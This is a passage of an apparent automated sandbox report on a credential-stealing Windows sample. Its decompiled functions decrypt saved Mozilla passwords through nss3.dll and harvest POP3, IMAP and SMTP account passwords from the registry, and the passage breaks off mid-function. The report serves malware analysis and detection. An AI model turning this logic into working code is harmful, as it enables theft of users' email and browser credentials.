                                                                                                              Function 0040DEEE Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 113libraryloaderstringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040DEEE(struct HINSTANCE__** __esi, intOrPtr _a4) {
				void _v267;
				char _v268;
				void _v531;
				char _v532;
				void* __ebx;
				void* __edi;
				int _t39;
				void* _t44;
				struct HINSTANCE__* _t53;
				struct HINSTANCE__* _t56;
				struct HINSTANCE__** _t69;

				_t69 = __esi;
				_v268 = 0;
				memset( &_v267, 0, 0x104);
				if(_a4 != 0) {
					E004060D0(0x104,  &_v268, _a4);
				}
				if(_v268 != 0) {
					GetCurrentDirectoryA(0x104,  &(_t69[8]));
					SetCurrentDirectoryA( &_v268);
					_v532 = 0;
					memset( &_v531, 0, 0x104);
					_t39 = strlen("nss3.dll");
					_t13 = strlen( &_v268) + 1; // 0x1
					if(_t39 + _t13 >= 0x104) {
						_v532 = 0;
					} else {
						E004062AD( &_v532,  &_v268, "nss3.dll");
					}
					_t44 = GetModuleHandleA( &_v532);
					 *_t69 = _t44;
					if(_t44 != 0) {
						L9:
						_t69[1] = GetProcAddress( *_t69, "NSS_Init");
						_t69[2] = GetProcAddress( *_t69, "NSS_Shutdown");
						_t69[3] = GetProcAddress( *_t69, "PK11_GetInternalKeySlot");
						_t69[4] = GetProcAddress( *_t69, "PK11_FreeSlot");
						_t69[5] = GetProcAddress( *_t69, "PK11_CheckUserPassword");
						_t69[6] = GetProcAddress( *_t69, "PK11_Authenticate");
						_t69[7] = GetProcAddress( *_t69, "PK11SDR_Decrypt");
					} else {
						_t53 = LoadLibraryExA( &_v532, _t44, 8);
						 *_t69 = _t53;
						if(_t53 != 0) {
							goto L9;
						} else {
							E0040DEA9();
							_t56 = LoadLibraryExA( &_v532, 0, 8);
							 *_t69 = _t56;
							if(_t56 != 0) {
								goto L9;
							}
						}
					}
				}
				return 0 |  *_t69 != 0x00000000;
			}














                                                                                                              0x0040deee
                                                                                                              0x0040df08
                                                                                                              0x0040df0f
                                                                                                              0x0040df1b
                                                                                                              0x0040df26
                                                                                                              0x0040df2b
                                                                                                              0x0040df33
                                                                                                              0x0040df3e
                                                                                                              0x0040df4b
                                                                                                              0x0040df5b
                                                                                                              0x0040df62
                                                                                                              0x0040df6c
                                                                                                              0x0040df7f
                                                                                                              0x0040df88
                                                                                                              0x0040dfa5
                                                                                                              0x0040df8a
                                                                                                              0x0040df9c
                                                                                                              0x0040dfa2
                                                                                                              0x0040dfb3
                                                                                                              0x0040dfbb
                                                                                                              0x0040dfbd
                                                                                                              0x0040dfef
                                                                                                              0x0040e005
                                                                                                              0x0040e011
                                                                                                              0x0040e01d
                                                                                                              0x0040e029
                                                                                                              0x0040e035
                                                                                                              0x0040e041
                                                                                                              0x0040e046
                                                                                                              0x0040dfbf
                                                                                                              0x0040dfcf
                                                                                                              0x0040dfd3
                                                                                                              0x0040dfd5
                                                                                                              0x00000000
                                                                                                              0x0040dfd7
                                                                                                              0x0040dfd7
                                                                                                              0x0040dfe7
                                                                                                              0x0040dfeb
                                                                                                              0x0040dfed
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040dfed
                                                                                                              0x0040dfd5
                                                                                                              0x0040dfbd
                                                                                                              0x0040e053

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040DF0F
                                                                                                              • GetCurrentDirectoryA.KERNEL32(00000104,?,?,?,00000000), ref: 0040DF3E
                                                                                                              • SetCurrentDirectoryA.KERNEL32(00000000,?,?,00000000), ref: 0040DF4B
                                                                                                              • memset.MSVCRT ref: 0040DF62
                                                                                                              • strlen.MSVCRT ref: 0040DF6C
                                                                                                              • strlen.MSVCRT ref: 0040DF7A
                                                                                                              • GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 0040DFB3
                                                                                                              • LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,?,?,?,?,?,00000000), ref: 0040DFCF
                                                                                                              • LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,?,?,?,?,?,00000000), ref: 0040DFE7
                                                                                                              • GetProcAddress.KERNEL32(?,NSS_Init,?,?,?,?,?,?,?,00000000), ref: 0040DFFC
                                                                                                              • GetProcAddress.KERNEL32(?,NSS_Shutdown,?,?,?,?,?,?,?,00000000), ref: 0040E008
                                                                                                              • GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot,?,?,?,?,?,?,?,00000000), ref: 0040E014
                                                                                                              • GetProcAddress.KERNEL32(?,PK11_FreeSlot,?,?,?,?,?,?,?,00000000), ref: 0040E020
                                                                                                              • GetProcAddress.KERNEL32(?,PK11_CheckUserPassword,?,?,?,?,?,?,?,00000000), ref: 0040E02C
                                                                                                              • GetProcAddress.KERNEL32(?,PK11_Authenticate,?,?,?,?,?,?,?,00000000), ref: 0040E038
                                                                                                              • GetProcAddress.KERNEL32(?,PK11SDR_Decrypt,?,?,?,?,?,?,?,00000000), ref: 0040E044
                                                                                                                • Part of subcall function 004060D0: strlen.MSVCRT ref: 004060D5
                                                                                                                • Part of subcall function 004060D0: memcpy.MSVCRT ref: 004060EA
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$strlen$CurrentDirectoryLibraryLoadmemset$HandleModulememcpy
                                                                                                              • String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_CheckUserPassword$PK11_FreeSlot$PK11_GetInternalKeySlot$nss3.dll
                                                                                                              • API String ID: 1296682400-4029219660
                                                                                                              • Opcode ID: bee48e1ba3e59cf5a7585e4159a10cf2e8eb6bd81037002e4d6a425fcc2e4864
                                                                                                              • Instruction ID: fea3831f464983b0eef39fbf9020f470c327cc413978f8e1f023dd725517e53d
                                                                                                              • Opcode Fuzzy Hash: bee48e1ba3e59cf5a7585e4159a10cf2e8eb6bd81037002e4d6a425fcc2e4864
                                                                                                              • Instruction Fuzzy Hash: 2A4187B1940309AACB20AF75CC49FC6BBF8AF64704F10496AE185E2191E7B996D4CF58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00402606 Relevance: 37.6, APIs: 3, Strings: 22, Instructions: 127stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 35%
                                                                                                              			E00402606(void* __ecx, void* __fp0) {
				void* __esi;
				void* _t58;
				void* _t59;
				void* _t67;
				void* _t70;
				void* _t73;
				void* _t87;
				signed int _t90;
				void* _t92;
				signed int _t96;
				intOrPtr _t100;
				intOrPtr _t101;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;
				void* _t114;

				_t114 = __fp0;
				_t92 = __ecx;
				_t103 = _t105 - 0x6c;
				_t106 = _t105 - 0x474;
				 *(_t103 + 0x4c) = "POP3 User Name";
				 *(_t103 + 0x50) = "IMAP User Name";
				 *(_t103 + 0x54) = "HTTPMail User Name";
				 *(_t103 + 0x58) = "SMTP USer Name";
				 *(_t103 + 0x1c) = "POP3 Server";
				 *(_t103 + 0x20) = "IMAP Server";
				 *(_t103 + 0x24) = "HTTPMail Server";
				 *(_t103 + 0x28) = "SMTP Server";
				 *(_t103 + 0x3c) = "POP3 Password2";
				 *(_t103 + 0x40) = "IMAP Password2";
				 *(_t103 + 0x44) = "HTTPMail Password2";
				 *(_t103 + 0x48) = "SMTP Password2";
				 *(_t103 + 0x2c) = "POP3 Port";
				 *(_t103 + 0x30) = "IMAP Port";
				 *(_t103 + 0x34) = "HTTPMail Port";
				 *(_t103 + 0x38) = "SMTP Port";
				 *(_t103 + 0x5c) = "POP3 Secure Connection";
				 *(_t103 + 0x60) = "IMAP Secure Connection";
				 *(_t103 + 0x64) = "HTTPMail Secure Connection";
				 *(_t103 + 0x68) = "SMTP Secure Connection";
				_t90 = 0;
				do {
					 *(_t103 - 0x64) = 0;
					memset(_t103 - 0x63, 0, 0x7f);
					_push(_t103 - 0x64);
					_t96 = _t90 << 2;
					_push( *((intOrPtr*)(_t103 + _t96 + 0x4c)));
					_push( *((intOrPtr*)(_t103 + 0x78)));
					_t58 = 0x7f;
					_t59 = E0040EB80(_t58, _t92);
					_t106 = _t106 + 0x18;
					if(_t59 == 0) {
						E004021D8(_t103 - 0x408);
						strcpy(_t103 - 0x1f4, _t103 - 0x64);
						_t100 =  *((intOrPtr*)(_t103 + 0x78));
						 *((intOrPtr*)(_t103 - 0x37c)) =  *((intOrPtr*)(_t103 + 0x7c));
						_t34 = _t90 + 1; // 0x1
						 *((intOrPtr*)(_t103 - 0x1f8)) = _t34;
						_push(_t103 - 0x2f8);
						_push( *((intOrPtr*)(_t103 + _t96 + 0x1c)));
						_push(_t100);
						_t67 = 0x7f;
						E0040EB80(_t67, _t92);
						_push(_t103 - 0x3fc);
						_push("SMTP Display Name");
						_push(_t100);
						_t70 = 0x7f;
						E0040EB80(_t70, _t92);
						_push(_t103 - 0x378);
						_push("SMTP Email Address");
						_push(_t100);
						_t73 = 0x7f;
						E0040EB80(_t73, _t92);
						_t108 = _t106 + 0x2c;
						if(_t90 != 3) {
							_push(_t103 - 0x278);
							_push("SMTP Server");
							_push(_t100);
							_t87 = 0x7f;
							E0040EB80(_t87, _t92);
							_t108 = _t108 + 0xc;
						}
						E0040EB59(_t92, _t100,  *((intOrPtr*)(_t103 + _t96 + 0x2c)), _t103 - 0x74);
						E0040EB59(_t92, _t100,  *((intOrPtr*)(_t103 + _t96 + 0x5c)), _t103 - 0x70);
						_t106 = _t108 + 0x18;
						_t101 =  *((intOrPtr*)(_t103 + 0x74));
						E0040246C(_t101, _t92, _t100,  *((intOrPtr*)(_t103 + _t96 + 0x3c)), _t103 - 0x174, 0);
						strcpy(_t103 - 0xf4, _t101 + 0xa9c);
						_pop(_t92);
						_t59 = E00402407(_t103 - 0x408, _t114, _t101);
					}
					_t90 = _t90 + 1;
				} while (_t90 < 4);
				return _t59;
			}




















                                                                                                              0x00402606
                                                                                                              0x00402606
                                                                                                              0x00402607
                                                                                                              0x0040260b
                                                                                                              0x00402614
                                                                                                              0x0040261b
                                                                                                              0x00402622
                                                                                                              0x00402629
                                                                                                              0x00402630
                                                                                                              0x00402637
                                                                                                              0x0040263e
                                                                                                              0x00402645
                                                                                                              0x0040264c
                                                                                                              0x00402653
                                                                                                              0x0040265a
                                                                                                              0x00402661
                                                                                                              0x00402668
                                                                                                              0x0040266f
                                                                                                              0x00402676
                                                                                                              0x0040267d
                                                                                                              0x00402684
                                                                                                              0x0040268b
                                                                                                              0x00402692
                                                                                                              0x00402699
                                                                                                              0x004026a0
                                                                                                              0x004026a2
                                                                                                              0x004026aa
                                                                                                              0x004026ae
                                                                                                              0x004026b6
                                                                                                              0x004026b9
                                                                                                              0x004026bc
                                                                                                              0x004026c0
                                                                                                              0x004026c5
                                                                                                              0x004026c6
                                                                                                              0x004026cb
                                                                                                              0x004026d0
                                                                                                              0x004026dc
                                                                                                              0x004026ec
                                                                                                              0x004026f4
                                                                                                              0x004026f7
                                                                                                              0x004026fd
                                                                                                              0x00402700
                                                                                                              0x0040270c
                                                                                                              0x0040270d
                                                                                                              0x00402711
                                                                                                              0x00402714
                                                                                                              0x00402715
                                                                                                              0x00402720
                                                                                                              0x00402721
                                                                                                              0x00402726
                                                                                                              0x00402729
                                                                                                              0x0040272a
                                                                                                              0x00402735
                                                                                                              0x00402736
                                                                                                              0x0040273b
                                                                                                              0x0040273e
                                                                                                              0x0040273f
                                                                                                              0x00402744
                                                                                                              0x0040274a
                                                                                                              0x00402752
                                                                                                              0x00402753
                                                                                                              0x00402758
                                                                                                              0x0040275b
                                                                                                              0x0040275c
                                                                                                              0x00402761
                                                                                                              0x00402761
                                                                                                              0x0040276d
                                                                                                              0x0040277b
                                                                                                              0x00402780
                                                                                                              0x00402791
                                                                                                              0x00402796
                                                                                                              0x004027a9
                                                                                                              0x004027af
                                                                                                              0x004027b7
                                                                                                              0x004027b7
                                                                                                              0x004027bc
                                                                                                              0x004027bd
                                                                                                              0x004027cd

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004026AE
                                                                                                                • Part of subcall function 0040EB80: RegQueryValueExA.KERNEL32 ref: 0040EB9B
                                                                                                              • strcpy.MSVCRT(?,?,?,?,?,751B45ED,?,00000000), ref: 004026EC
                                                                                                              • strcpy.MSVCRT(?,?), ref: 004027A9
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcpy$QueryValuememset
                                                                                                              • String ID: HTTPMail Password2$HTTPMail Port$HTTPMail Secure Connection$HTTPMail Server$HTTPMail User Name$IMAP Password2$IMAP Port$IMAP Secure Connection$IMAP Server$IMAP User Name$POP3 Password2$POP3 Port$POP3 Secure Connection$POP3 Server$POP3 User Name$SMTP Display Name$SMTP Email Address$SMTP Password2$SMTP Port$SMTP Secure Connection$SMTP Server$SMTP USer Name
                                                                                                              • API String ID: 3373037483-1627711381
                                                                                                              • Opcode ID: e0cdf92fd6d15cbacd4e6304b7180f84d1250560b6c321d5d8d7e2d2205b0861
                                                                                                              • Instruction ID: d93c2979c5964ee18a3e8d610d8756237e52e0a5809c5516356d8c5187ea57d6
                                                                                                              • Opcode Fuzzy Hash: e0cdf92fd6d15cbacd4e6304b7180f84d1250560b6c321d5d8d7e2d2205b0861
                                                                                                              • Instruction Fuzzy Hash: E04186B190021CAADB10DF91DE49ADE37B8EF04348F10446BFD18E7191D3B89699CF98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004027D0 Relevance: 37.6, APIs: 3, Strings: 22, Instructions: 118stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 97%
                                                                                                              			E004027D0(void* __fp0) {
				void* __esi;
				void* _t66;
				signed int _t92;
				void* _t95;
				intOrPtr _t109;
				void* _t111;
				void* _t113;
				void* _t114;
				void* _t121;

				_t121 = __fp0;
				_t111 = _t113 - 0x70;
				_t114 = _t113 - 0x474;
				 *(_t111 + 0x40) = "POP3 Password";
				 *(_t111 + 0x44) = "IMAP Password";
				 *(_t111 + 0x48) = "HTTP Password";
				 *(_t111 + 0x4c) = "SMTP Password";
				 *(_t111 + 0x50) = "POP3 User";
				 *(_t111 + 0x54) = "IMAP User";
				 *(_t111 + 0x58) = "HTTP User";
				 *(_t111 + 0x5c) = "SMTP User";
				 *(_t111 + 0x20) = "POP3 Server";
				 *(_t111 + 0x24) = "IMAP Server";
				 *(_t111 + 0x28) = "HTTP Server URL";
				 *(_t111 + 0x2c) = "SMTP Server";
				 *(_t111 + 0x30) = "POP3 Port";
				 *(_t111 + 0x34) = "IMAP Port";
				 *(_t111 + 0x38) = "HTTP Port";
				 *(_t111 + 0x3c) = "SMTP Port";
				 *(_t111 + 0x60) = "POP3 Use SPA";
				 *(_t111 + 0x64) = "IMAP Use SPA";
				 *(_t111 + 0x68) = "HTTPMail Use SSL";
				 *(_t111 + 0x6c) = "SMTP Use SSL";
				_t92 = 0;
				do {
					 *(_t111 - 0x60) = 0;
					memset(_t111 - 0x5f, 0, 0x7f);
					_t114 = _t114 + 0xc;
					_t100 = _t92 << 2;
					_t66 = E004029A7(_t111 - 0x60,  *((intOrPtr*)(_t111 + 0x7c)),  *((intOrPtr*)(_t111 + (_t92 << 2) + 0x50)));
					if(_t66 != 0) {
						E004021D8(_t111 - 0x404);
						strcpy(_t111 - 0x1f0, _t111 - 0x60);
						_pop(_t95);
						 *((intOrPtr*)(_t111 - 0x378)) =  *((intOrPtr*)( *((intOrPtr*)(_t111 + 0x78)) + 0xb1c));
						_t37 = _t92 + 1; // 0x1
						 *((intOrPtr*)(_t111 - 0x1f4)) = _t37;
						E004029A7(_t111 - 0x2f4,  *((intOrPtr*)(_t111 + 0x7c)),  *((intOrPtr*)(_t111 + _t100 + 0x20)));
						E004029A7(_t111 - 0x3f8,  *((intOrPtr*)(_t111 + 0x7c)), "Display Name");
						E004029A7(_t111 - 0x374,  *((intOrPtr*)(_t111 + 0x7c)), "Email");
						if(_t92 != 3) {
							E004029A7(_t111 - 0x274,  *((intOrPtr*)(_t111 + 0x7c)), "SMTP Server");
							E0040EB59(_t95,  *((intOrPtr*)(_t111 + 0x7c)), "SMTP Port", _t111 - 0x68);
							_t114 = _t114 + 0xc;
						}
						E0040EB59(_t95,  *((intOrPtr*)(_t111 + 0x7c)),  *((intOrPtr*)(_t111 + _t100 + 0x30)), _t111 - 0x70);
						E0040EB59(_t95,  *((intOrPtr*)(_t111 + 0x7c)),  *((intOrPtr*)(_t111 + _t100 + 0x60)), _t111 - 0x6c);
						_t109 =  *((intOrPtr*)(_t111 + 0x78));
						_t114 = _t114 + 0x18;
						E0040246C(_t109, _t95,  *((intOrPtr*)(_t111 + 0x7c)),  *((intOrPtr*)(_t111 + _t100 + 0x40)), _t111 - 0x170, 1);
						strcpy(_t111 - 0xf0, _t109 + 0xa9c);
						_t66 = E00402407(_t111 - 0x404, _t121, _t109);
					}
					_t92 = _t92 + 1;
				} while (_t92 < 4);
				return _t66;
			}












                                                                                                              0x004027d0
                                                                                                              0x004027d1
                                                                                                              0x004027d5
                                                                                                              0x004027de
                                                                                                              0x004027e5
                                                                                                              0x004027ec
                                                                                                              0x004027f3
                                                                                                              0x004027fa
                                                                                                              0x00402801
                                                                                                              0x00402808
                                                                                                              0x0040280f
                                                                                                              0x00402816
                                                                                                              0x0040281d
                                                                                                              0x00402824
                                                                                                              0x0040282b
                                                                                                              0x00402832
                                                                                                              0x00402839
                                                                                                              0x00402840
                                                                                                              0x00402847
                                                                                                              0x0040284e
                                                                                                              0x00402855
                                                                                                              0x0040285c
                                                                                                              0x00402863
                                                                                                              0x0040286a
                                                                                                              0x0040286c
                                                                                                              0x00402874
                                                                                                              0x00402878
                                                                                                              0x0040287d
                                                                                                              0x00402882
                                                                                                              0x0040288f
                                                                                                              0x00402896
                                                                                                              0x004028a2
                                                                                                              0x004028b2
                                                                                                              0x004028c1
                                                                                                              0x004028c6
                                                                                                              0x004028cf
                                                                                                              0x004028d8
                                                                                                              0x004028de
                                                                                                              0x004028f1
                                                                                                              0x00402904
                                                                                                              0x0040290c
                                                                                                              0x0040291c
                                                                                                              0x0040292d
                                                                                                              0x00402932
                                                                                                              0x00402932
                                                                                                              0x00402940
                                                                                                              0x00402950
                                                                                                              0x00402955
                                                                                                              0x00402958
                                                                                                              0x0040296d
                                                                                                              0x00402980
                                                                                                              0x0040298e
                                                                                                              0x0040298e
                                                                                                              0x00402993
                                                                                                              0x00402994
                                                                                                              0x004029a4

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00402878
                                                                                                                • Part of subcall function 004029A7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000007F,00000000,00000000), ref: 004029E9
                                                                                                              • strcpy.MSVCRT(?,?,751B45ED,?,00000000), ref: 004028B2
                                                                                                              • strcpy.MSVCRT(?,?,?,?,?,?,?,?,751B45ED,?,00000000), ref: 00402980
                                                                                                                • Part of subcall function 0040EB59: RegQueryValueExA.ADVAPI32 ref: 0040EB78
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcpy$ByteCharMultiQueryValueWidememset
                                                                                                              • String ID: Display Name$Email$HTTP Password$HTTP Port$HTTP Server URL$HTTP User$HTTPMail Use SSL$IMAP Password$IMAP Port$IMAP Server$IMAP Use SPA$IMAP User$POP3 Password$POP3 Port$POP3 Server$POP3 Use SPA$POP3 User$SMTP Password$SMTP Port$SMTP Server$SMTP Use SSL$SMTP User
                                                                                                              • API String ID: 2416467034-4086712241
                                                                                                              • Opcode ID: 1dd3c48cf87e824894ac796b353b11c003e09e2c1ffeee2d2140970bcd4911b6
                                                                                                              • Instruction ID: 2a04afc1b401ca52673312b513a052c1616a462ab9372f8060d899744f0eb97e
                                                                                                              • Opcode Fuzzy Hash: 1dd3c48cf87e824894ac796b353b11c003e09e2c1ffeee2d2140970bcd4911b6
                                                                                                              • Instruction Fuzzy Hash: FF513EB150025DABCF24DF61DE499DD7BB8FF04308F10416AF924A6191D3B999A9CF88
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F435 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 168stringregistryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 81%
                                                                                                              			E0040F435(CHAR* __eax) {
				void* _v8;
				int _v12;
				void _v267;
				char _v268;
				void _v531;
				char _v532;
				void _v787;
				char _v788;
				void _v1051;
				char _v1052;
				void _v2075;
				char _v2076;
				void* __esi;
				void* _t45;
				void* _t59;
				char* _t60;
				char* _t71;
				char* _t75;
				void* _t84;
				CHAR* _t89;
				void* _t90;
				void* _t91;
				void* _t92;
				void* _t93;

				_t89 = __eax;
				_v1052 = 0;
				memset( &_v1051, 0, 0x104);
				_v788 = 0;
				memset( &_v787, 0, 0xff);
				 *_t89 = 0;
				_t45 = E0040EB3F(0x80000002, "SOFTWARE\\Mozilla",  &_v8);
				_t91 = _t90 + 0x24;
				if(_t45 != 0) {
					L12:
					strcpy(_t89,  &_v1052);
					if( *_t89 == 0) {
						ExpandEnvironmentStringsA("%programfiles%\\Mozilla Thunderbird", _t89, 0x104);
						if(E0040F3BA(_t89) == 0) {
							 *_t89 = 0;
						}
						if( *_t89 == 0) {
							E00406172(_t89);
							if(E0040F3BA(_t89) == 0) {
								 *_t89 = 0;
							}
							if( *_t89 == 0) {
								GetCurrentDirectoryA(0x104, _t89);
								if(E0040F3BA(_t89) == 0) {
									 *_t89 = 0;
								}
							}
						}
					}
					return 0 |  *_t89 != 0x00000000;
				} else {
					_v268 = 0;
					memset( &_v267, 0, 0xff);
					_v12 = 0;
					_t59 = E0040EC05(_v8, 0,  &_v268);
					_t92 = _t91 + 0x18;
					while(_t59 == 0) {
						_push(7);
						_t60 =  &_v268;
						_push("mozilla");
						_push(_t60);
						L00411642();
						_t93 = _t92 + 0xc;
						if(_t60 == 0) {
							_v532 = 0;
							memset( &_v531, 0, 0x104);
							_v2076 = 0;
							memset( &_v2075, 0, 0x3ff);
							_push( &_v268);
							_push("%s\\bin");
							_push(0x3ff);
							_push( &_v2076);
							L00411648();
							E0040EBC1(_t84, _v8,  &_v2076, "PathToExe",  &_v532, 0x104);
							_t71 =  &_v532;
							_push(0x5c);
							_push(_t71);
							L0041164E();
							_t93 = _t93 + 0x44;
							if(_t71 != 0) {
								 *_t71 = 0;
							}
							if(_v532 != 0 && E0040F3BA( &_v532) != 0) {
								_push( &_v788);
								_t75 =  &_v268;
								L004115C4();
								_t84 = _t75;
								if(_t75 > 0) {
									strcpy( &_v1052,  &_v532);
									strcpy( &_v788,  &_v268);
									_t93 = _t93 + 0x10;
								}
							}
						}
						_v12 = _v12 + 1;
						_t59 = E0040EC05(_v8, _v12,  &_v268);
						_t92 = _t93 + 0xc;
					}
					RegCloseKey(_v8);
					goto L12;
				}
			}



























                                                                                                              0x0040f449
                                                                                                              0x0040f453
                                                                                                              0x0040f459
                                                                                                              0x0040f46b
                                                                                                              0x0040f471
                                                                                                              0x0040f484
                                                                                                              0x0040f486
                                                                                                              0x0040f48b
                                                                                                              0x0040f490
                                                                                                              0x0040f5e6
                                                                                                              0x0040f5ee
                                                                                                              0x0040f5f7
                                                                                                              0x0040f600
                                                                                                              0x0040f60e
                                                                                                              0x0040f610
                                                                                                              0x0040f610
                                                                                                              0x0040f614
                                                                                                              0x0040f616
                                                                                                              0x0040f623
                                                                                                              0x0040f625
                                                                                                              0x0040f625
                                                                                                              0x0040f629
                                                                                                              0x0040f62d
                                                                                                              0x0040f63b
                                                                                                              0x0040f63d
                                                                                                              0x0040f63d
                                                                                                              0x0040f63b
                                                                                                              0x0040f629
                                                                                                              0x0040f614
                                                                                                              0x0040f64a
                                                                                                              0x0040f496
                                                                                                              0x0040f4a3
                                                                                                              0x0040f4a9
                                                                                                              0x0040f4b9
                                                                                                              0x0040f4bc
                                                                                                              0x0040f4c1
                                                                                                              0x0040f5d5
                                                                                                              0x0040f4c9
                                                                                                              0x0040f4cb
                                                                                                              0x0040f4d1
                                                                                                              0x0040f4d6
                                                                                                              0x0040f4d7
                                                                                                              0x0040f4dc
                                                                                                              0x0040f4e1
                                                                                                              0x0040f4f0
                                                                                                              0x0040f4f6
                                                                                                              0x0040f508
                                                                                                              0x0040f50e
                                                                                                              0x0040f519
                                                                                                              0x0040f51a
                                                                                                              0x0040f525
                                                                                                              0x0040f52a
                                                                                                              0x0040f52b
                                                                                                              0x0040f547
                                                                                                              0x0040f54c
                                                                                                              0x0040f552
                                                                                                              0x0040f554
                                                                                                              0x0040f555
                                                                                                              0x0040f55a
                                                                                                              0x0040f55f
                                                                                                              0x0040f561
                                                                                                              0x0040f561
                                                                                                              0x0040f569
                                                                                                              0x0040f581
                                                                                                              0x0040f582
                                                                                                              0x0040f589
                                                                                                              0x0040f591
                                                                                                              0x0040f592
                                                                                                              0x0040f5a2
                                                                                                              0x0040f5b5
                                                                                                              0x0040f5ba
                                                                                                              0x0040f5ba
                                                                                                              0x0040f592
                                                                                                              0x0040f569
                                                                                                              0x0040f5bd
                                                                                                              0x0040f5cd
                                                                                                              0x0040f5d2
                                                                                                              0x0040f5d2
                                                                                                              0x0040f5e0
                                                                                                              0x00000000
                                                                                                              0x0040f5e0

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040F459
                                                                                                              • memset.MSVCRT ref: 0040F471
                                                                                                                • Part of subcall function 0040EB3F: RegOpenKeyExA.KERNEL32(80000002,80000002,00000000,00020019,80000002), ref: 0040EB52
                                                                                                              • memset.MSVCRT ref: 0040F4A9
                                                                                                                • Part of subcall function 0040EC05: RegEnumKeyExA.KERNEL32 ref: 0040EC28
                                                                                                              • _mbsnbicmp.MSVCRT ref: 0040F4D7
                                                                                                              • memset.MSVCRT ref: 0040F4F6
                                                                                                              • memset.MSVCRT ref: 0040F50E
                                                                                                              • _snprintf.MSVCRT ref: 0040F52B
                                                                                                              • _mbsrchr.MSVCRT ref: 0040F555
                                                                                                              • _mbsicmp.MSVCRT ref: 0040F589
                                                                                                              • strcpy.MSVCRT(?,?,?), ref: 0040F5A2
                                                                                                              • strcpy.MSVCRT(?,?,?,?,?), ref: 0040F5B5
                                                                                                              • RegCloseKey.ADVAPI32(0040F699), ref: 0040F5E0
                                                                                                              • strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040F5EE
                                                                                                              • ExpandEnvironmentStringsA.KERNEL32(%programfiles%\Mozilla Thunderbird,?,00000104,?,?,?,?,?,?,?,?,00000000), ref: 0040F600
                                                                                                              • GetCurrentDirectoryA.KERNEL32(00000104,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040F62D
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$strcpy$CloseCurrentDirectoryEnumEnvironmentExpandOpenStrings_mbsicmp_mbsnbicmp_mbsrchr_snprintf
                                                                                                              • String ID: %programfiles%\Mozilla Thunderbird$%s\bin$PathToExe$SOFTWARE\Mozilla$mozilla
                                                                                                              • API String ID: 3269028891-3267283505
                                                                                                              • Opcode ID: ae64bbfb434c7b582e42d72135dcc766ab6c624163171123f1ae1bbd770c0f79
                                                                                                              • Instruction ID: bd4ffbb0b4c73fbe97c341744dc0c87608cd01b58ef3e3991875b3aaf34b88fb
                                                                                                              • Opcode Fuzzy Hash: ae64bbfb434c7b582e42d72135dcc766ab6c624163171123f1ae1bbd770c0f79
                                                                                                              • Instruction Fuzzy Hash: 5251A77284425DBADB31D7A18C46EDA7ABC9F14344F0404FBF645E2152EA788FC98B68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F126 Relevance: 27.1, APIs: 12, Strings: 6, Instructions: 101stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 95%
                                                                                                              			E0040F126(void* __edi, char* _a4, char* _a8) {
				int _v8;
				void _v263;
				char _v264;
				void _v519;
				char _v520;
				intOrPtr _t32;
				void* _t58;
